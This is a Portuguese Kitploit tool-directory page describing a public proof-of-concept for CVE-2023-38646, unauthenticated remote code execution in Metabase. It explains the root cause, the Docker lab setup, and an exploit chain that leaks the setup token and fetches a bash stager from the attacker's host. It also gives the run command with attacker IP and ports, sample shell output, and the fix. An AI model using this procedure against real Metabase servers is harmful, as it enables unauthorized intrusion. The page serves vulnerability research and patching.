Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
metabase-cve-2023-38646 — O repositório contém o PoC e os passos para reproduzir o cve 2023-38646. | Kitploit
Ferramentas/GitHubGitHub/kushiro45/metabase-cve-2023-38646
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubkushiro45/metabase-cve-2023-38646

metabase-cve-2023-38646

O repositório contém o PoC e os passos para reproduzir o cve 2023-38646.

Ver Repositório
5há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-38646 — Execução Remota de Código sem Autenticação no Metabase

Resumo

CVSS 9.8. Versões do Metabase anteriores a 0.46.6.1 / 1.46.6.1 (e ramificações anteriores equivalentes) expõem uma RCE sem autenticação via endpoint /api/setup/validate, que tem a finalidade de validar detalhes de conexão de banco de dados durante a configuração inicial, mas é acessível sem autenticação mesmo após a configuração já ter sido concluída.

Causa raiz

O endpoint aceita um payload de conexão de banco de dados e, quando engine: h2 é especificado com uma string de conexão JDBC manipulada, permite incorporar JavaScript arbitrário via sintaxe CREATE TRIGGER ... AS $$//javascript do H2. O corpo do trigger é executado no momento da validação, dando ao atacante execução de JavaScript dentro da JVM — o que trivialmente escala para execução de comandos do sistema operacional via java.lang.Runtime.getRuntime().exec().

O problema subjacente é o mecanismo de banco de dados H2 confiar em código embutido na string de conexão como parte da "validação" de uma fonte de dados, combinado com o Metabase expor esse caminho de validação sem autenticação.

Ambiente

  • Alvo: imagem Docker oficial metabase/metabase:v0.46.6
  • Ferramentas do atacante: Python 3, requests, termcolor
  • Fonte do PoC: Exploit-DB 51797 (Musyoka Ian, CVE-2023-38646)

Configuração

Execute o Metabase vulnerável:

root@kitploit:~
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase   # wait for "Metabase Initialization COMPLETE"

Instale as dependências do exploit:

root@kitploit:~
pip3 install requests termcolor

Cadeia de exploração

  1. Obtenção do token de configuração — /api/session/properties vaza um setup-token que deveria controlar o fluxo de configuração inicial único, mas permanece válido e utilizável mesmo após a configuração estar concluída.
  2. Verificação de explorabilidade — o atacante sobe um servidor HTTP local; o trigger H2 manipulado faz o alvo realizar um callback de saída para ele, confirmando a execução de JavaScript dentro do mecanismo H2.
  3. Execução de comandos — um segundo trigger manipulado usa java.lang.Runtime.getRuntime().exec() para buscar um stager bash do servidor HTTP do atacante e enviar a saída do comando de volta por um listener TCP puro, codificada em base64.

Execução

root@kitploit:~
python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
  • -l — IP de callback do atacante (gateway da bridge Docker quando o alvo é um contêiner local, ex.: 172.17.0.1)
  • -p — porta na qual o canal reverso de dados se conecta de volta
  • -P — porta do servidor HTTP local que serve o script stager
  • -u — URL base do Metabase alvo

Entra em um prompt interativo metabase_shell > assim que o callback sem autenticação confirma a explorabilidade.

Resultado

metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)

Execução de comandos confirmada na conta de serviço metabase — sem autenticação, sem necessidade de credenciais. A gravidade decorre de uma RCE alcançável pela rede com zero autenticação, não do nível de privilégio do shell resultante.

Correção

Corrigido no Metabase 0.46.6.1 / 1.46.6.1 e versões posteriores — o endpoint /api/setup/validate agora exige que a configuração esteja genuinamente incompleta, e os tokens de configuração são invalidados assim que a configuração inicial termina.

Aviso

Apenas para uso em laboratório isolado. Não execute contra instâncias do Metabase que você não possua ou para as quais não tenha autorização explícita para testar.

Baixar ferramenta